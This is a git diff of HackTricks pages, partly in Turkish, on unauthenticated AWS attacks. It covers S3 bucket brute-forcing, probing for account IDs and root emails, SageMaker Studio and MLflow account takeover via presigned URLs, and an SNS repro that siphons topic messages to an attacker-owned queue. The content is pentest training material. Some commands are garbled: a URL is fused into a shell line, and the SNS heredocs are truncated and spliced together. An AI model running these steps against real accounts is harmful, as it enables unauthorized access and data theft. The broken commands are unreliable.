b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md @@ -0,0 +1,194 @@ +# AWS - S3 Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 Public Buckets + +A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. + +Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). + +**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) + +### Finding AWS Buckets + +Different methods to find when a webpage is using AWS to storage some resources: + +#### Enumeration & OSINT: + +- Using **wappalyzer** browser plugin +- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. +- **Check for resources** in domains like: + +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` + +- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` +- **[s3dns](https://github.com/olizimmermann/s3dns)** – A lightweight DNS server that passively identifies cloud storage buckets (S3, GCP, Azure) by analyzing DNS traffic. It detects CNAMEs, follows resolution chains, and matches bucket patterns, offering a quiet alternative to brute-force or API-based discovery. Perfect for recon and OSINT workflows. +- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**. +- The **bucket name** and the **bucket domain name** needs to be **the same.** +- **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. +- To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). + +#### Brute-Force + +You can find buckets by **brute-forcing name**s related to the company you are pentesting: + +- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) +- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) +- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) +- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) +- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) +- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) +- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) + +
# Generate a wordlist to create permutations
+curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
+curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
+cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
+
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
+cat subdomains.txt > /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
+
+# Create permutations based in a list with the domains and subdomains to attack
+goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+### Remove lines ending with "."
+cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
+### Create list without TLD
+cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
+### Create list without dots
+cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
+### Create list without hyphens
+cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
+
+## Generate the final wordlist
+cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
+
+## Call s3scanner
+s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
+
+ +#### Loot S3 Buckets + +Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**. + +### Find the Region + +You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) + +#### By DNS + +You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**: +```bash +dig flaws.cloud +;; ANSWER SECTION: +flaws.cloud. 5 IN A 52.218.192.11 + +nslookup 52.218.192.11 +Non-authoritative answer: +11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. +``` +Check that the resolved domain have the word "website".\ +Statik siteye şu adresten erişebilirsiniz: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +ya da bucket'e şu adresten erişebilirsiniz: `flaws.cloud.s3-us-west-2.amazonaws.com` + + + +#### Deneyerek + +Eğer bir bucket'e erişmeye çalışırsanız, fakat **alan adında başka bir bölge belirtirseniz** (örneğin bucket `bucket.s3.amazonaws.com` içinde ama siz `bucket.s3-website-us-west-2.amazonaws.com` adresine erişmeye çalışırsanız), size **doğru konum gösterilecektir**: + +![](<../../../images/image (106).png>) + +### Bucket'ı listeleme + +Bucket'ın açıklığını test etmek için kullanıcı URL'yi web tarayıcısına girebilir. Özel bir bucket "Access Denied" ile yanıt verir. Herkese açık bir bucket, depolanan ilk 1.000 öğeyi listeler. + +Herkese açık: + +![](<../../../images/image (201).png>) + +Özel: + +![](<../../../images/image (83).png>) + +Bunu ayrıca cli ile de kontrol edebilirsiniz: +```bash +#Use --no-sign-request for check Everyones permissions +#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions +#--recursive if you want list recursivelyls +#Opcionally you can select the region if you now it +aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] +``` +Eğer Bucket'ın bir alan adı yoksa, enumerate etmeye çalışırken, **sadece bucket adını koyun** ve tüm AWSs3 domainini koymayın. Örnek: `s3://` + +### Genel URL şablonu +``` +https://{user_provided}.s3.amazonaws.com +``` +### public Bucket'tan Account ID alma + +Yeni **`S3:ResourceAccount`** **Policy Condition Key**'i kullanarak bir AWS hesabını belirlemek mümkün. Bu koşul **S3 bucket'a göre erişimi kısıtlar** (diğer hesap-temelli politikalar ise istekte bulunan principal'in bulunduğu hesaba göre kısıtlar).\ +Ve politika **wildcards** içerebildiği için hesap numarasını **her seferinde tek bir rakam olarak** bulmak mümkün. + +Bu araç süreci otomatikleştirir: +```bash +# Installation +pipx install s3-account-search +pip install s3-account-search +# With a bucket +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket +# With an object +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext +``` +Bu teknik API Gateway URL'leri, Lambda URL'leri, Data Exchange veri setleri ile de çalışır ve hatta tags değerini almak için (tag anahtarını biliyorsanız) kullanılabilir. Bu istismarı otomatikleştirmek için daha fazla bilgiyi [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) ve aracı [**conditional-love**](https://github.com/plerionhq/conditional-love/) adresinde bulabilirsiniz. + +### Bir bucket'ın bir AWS hesabına ait olduğunu doğrulama + +As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, eğer bir bucket'ı listeleme iznine sahipseniz** bucket'ın ait olduğu accountID'yi aşağıdaki gibi bir istek göndererek doğrulayabilirsiniz: +```bash +curl -X GET "[bucketname].amazonaws.com/" \ +-H "x-amz-expected-bucket-owner: [correct-account-id]" + + +... +``` +Eğer hata “Access Denied” ise bu, hesap ID'sinin yanlış olduğu anlamına gelir. + +### root account enumeration için kullanılan e-posta adresleri + +As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), bir e-posta adresinin herhangi bir AWS hesabıyla ilişkili olup olmadığını S3 bucket üzerinde ACLs aracılığıyla **bir e-posta adresine izin vermeyi denemek** suretiyle kontrol etmek mümkündür. Eğer bu bir hata tetiklemezse, bu e-postanın bazı AWS hesabının root user'ı olduğu anlamına gelir: +```python +s3_client.put_bucket_acl( +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} +) +``` +## Referanslar + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md new file mode 100644 index 000000000..0232c3250 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -0,0 +1,108 @@ +# AWS - SageMaker Yetkisiz Erişim + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker Studio - Hesap Ele Geçirme aracılığıyla CreatePresignedDomainUrl (Impersonate Any UserProfile) + +### Açıklama +Bir kimlik, hedef Studio `UserProfile` üzerinde `sagemaker:CreatePresignedDomainUrl` çağırma iznine sahipse, o profil olarak doğrudan SageMaker Studio'ya kimlik doğrulayan bir giriş URL'si oluşturabilir. Bu, saldırganın tarayıcısına profilin `ExecutionRole` izinlerini devralan ve profilin EFS tarafından desteklenen home dizinine ve uygulamalarına tam erişim sağlayan bir Studio oturumu verir. `iam:PassRole` veya konsol erişimi gerekmez. + +### Gereksinimler +- Bir SageMaker Studio `Domain` ve içinde bir hedef `UserProfile`. +- Saldırganın principal'inin hedef `UserProfile` üzerinde `sagemaker:CreatePresignedDomainUrl` iznine (resource‑level) veya `*`'a sahip olması gerekir. + +Minimal policy örneği (tek bir `UserProfile` ile sınırlandırılmış): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +### Kötüye Kullanım Adımları + +1) Hedefleyebileceğiniz bir Studio Domain ve UserProfiles'i Enumerate edin +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) Bir presigned URL oluşturun (varsayılan olarak ~5 dakika geçerli) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +3) Döndürülen URL'yi bir tarayıcıda açarak hedef kullanıcı olarak Studio'ya giriş yapın. Studio içindeki bir Jupyter terminalinde etkin kimliği doğrulayın: +```bash +aws sts get-caller-identity +``` +Notlar: +- `--landing-uri` atlanabilir. Bazı değerler (örn., `app:JupyterLab:/lab`) Studio'nun sürüm/türüne bağlı olarak reddedilebilir; varsayılanlar genellikle Studio ana sayfasına ve ardından Jupyter'e yönlendirir. +- Org politikaları/VPC endpoint kısıtlamaları yine de ağ erişimini engelleyebilir; token oluşturma konsola giriş veya `iam:PassRole` gerektirmez. + +### Etki +- ARN'si izin verilen herhangi bir Studio `UserProfile`'unu üstlenerek, onun `ExecutionRole`'ünü ve dosya sistemi/uygulamalarını devralmak suretiyle yatay hareket ve ayrıcalık yükseltme. + +### Deliller (kontrollü bir testten) +- Hedef `UserProfile` üzerinde yalnızca `sagemaker:CreatePresignedDomainUrl` izni olduğunda, saldırgan rolü başarılı şekilde şu örnekteki gibi bir `AuthorizedUrl` döndürdü: +``` +https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... +``` +- Doğrudan bir HTTP isteği, URL'nin geçerli olduğunu ve süresi dolana kadar etkin olduğunu doğrulayarak Studio'ya bir yönlendirme (HTTP 302) ile yanıt verir. + + +## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl + +### Açıklama +Hedef bir SageMaker MLflow Tracking Server için `sagemaker:CreatePresignedMlflowTrackingServerUrl` çağırma iznine sahip bir kimlik, o sunucu için yönetilen MLflow UI'ye doğrudan kimlik doğrulayan tek kullanımlık bir presigned URL oluşturabilir. Bu, meşru bir kullanıcının sunucuya sahip olduğu aynı erişimi sağlar (deneyleri ve çalıştırmaları görüntüleme/oluşturma ve sunucunun S3 artifact deposundan artifact'leri indirme/yükleme) console erişimi veya `iam:PassRole` olmadan. + +### Gereksinimler +- Hesap/bölge içinde bir SageMaker MLflow Tracking Server ve onun ismi. +- Saldırgan kimliğinin hedef MLflow Tracking Server kaynağı üzerinde `sagemaker:CreatePresignedMlflowTrackingServerUrl` iznine (veya `*`) ihtiyacı vardır. + +Minimal policy örneği (tek bir Tracking Server ile sınırlandırılmış): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", +"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" +} +] +} +``` +### Kötüye Kullanım Adımları + +1) Hedefleyebileceğiniz MLflow Tracking Servers'ı enumerate edin ve bir isim seçin +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) MLflow UI için önceden imzalanmış bir URL oluşturun (kısa süreli geçerli) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--expires-in-seconds 300 \ +--session-expiration-duration-in-seconds 1800 \ +--query AuthorizedUrl --output text +``` +3) Döndürülen URL'yi bir tarayıcıda açın; bu, ilgili Tracking Server için MLflow UI'ya kimliği doğrulanmış bir kullanıcı olarak erişmenizi sağlar. + +Notlar: +- Tracking Server hazır bir durumda olmalıdır (ör. `Created/Active`). Hâlâ `Creating` durumundaysa, çağrı reddedilecektir. +- The presigned URL tek kullanımlıktır ve kısa ömürlüdür; gerektiğinde yeni bir tane oluşturun. + +### Impact +- Hedeflenen Tracking Server için yönetilen MLflow UI'ya doğrudan erişim; bu, sunucu yapılandırması tarafından uygulanan izinler dahilinde deneyleri/çalıştırmaları görüntüleme ve değiştirme ile sunucunun yapılandırılmış S3 artifact store'unda saklanan artefaktların indirilmesini veya yüklenmesini sağlar. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md deleted file mode 100644 index a06eb7365..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SNS Kimlik Doğrulaması Olmadan Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -SNS hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Herkese Açık - -Web konsolundan bir SNS konusunu yapılandırdığınızda, **Herkesin yayın yapabileceği ve abone olabileceği** belirtilebilir: - -
- -Bu nedenle, eğer **hesap içindeki konuların ARN'sini bulursanız** (veya konular için potansiyel isimleri zorlayarak) **onlara** **yayın yapıp yapamayacağınızı** veya **abone olup olamayacağınızı** **kontrol edebilirsiniz**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md new file mode 100644 index 000000000..1a5bcc22c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md @@ -0,0 +1,55 @@ +# AWS - SNS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +SNS hakkında daha fazla bilgi için bakın: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Herkese Açık + +Web konsolundan bir SNS topic'i yapılandırırken konunun **Everyone can publish and subscribe** olarak işaretlenebileceğini belirtebilirsiniz: + +
+ +Dolayısıyla hesap içindeki konuların **find the ARN of topics** (veya konu isimlerini brute forcing ile deneme) halinde onlara **check** ederek **publish** veya **subscribe** yapıp yapamayacağınızı görebilirsiniz. + +Bu, bir SNS topic resource policy'sinin `sns:Subscribe`'u `*` (veya dış hesaplara) izin verecek şekilde ayarlanmasına eşdeğerdir; böylece herhangi bir principal, sahip olduğu bir SQS kuyruğuna tüm gelecekteki konu mesajlarını teslim eden bir subscription oluşturabilir. Kuyruk sahibi subscription'ı başlattığında, SQS endpoint'leri için insan onayı gerekmez. + +
+Repro (us-east-1) +```bash +REGION=us-east-1 +# Victim account (topic owner) +VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text) + +# Open the topic to anyone subscribing +cat > /tmp/topic-policy.json < /tmp/sqs-policy.json < + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md deleted file mode 100644 index 6ea05208d..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SQS Kimlik Doğrulamasız Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -SQS hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Genel URL şablonu -``` -https://sqs.[region].amazonaws.com/[account-id]/{user_provided} -``` -### İzinleri Kontrol Et - -Bir SQS kuyruk politikasını yanlış yapılandırmak ve AWS'deki herkesin mesaj göndermesine ve almasına izin vermek mümkündür, bu nedenle kuyrukların ARN'sini alırsanız onlara erişip erişemeyeceğinizi deneyin. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md new file mode 100644 index 000000000..19e38f241 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md @@ -0,0 +1,21 @@ +# AWS - SQS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +SQS hakkında daha fazla bilgi için bakın: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### Herkese açık URL şablonu +``` +https://sqs.[region].amazonaws.com/[account-id]/{user_provided} +``` +### İzinleri Kontrol Et + +Bir SQS kuyruk politikası yanlış yapılandırılabilir ve AWS'deki herkese mesaj gönderme ve alma izinleri verebilir; bu yüzden kuyrukların ARN'lerini elde ederseniz erişip erişemeyeceğinizi deneyin. + +{{#include ../../../../banners/hacktricks-training.md}}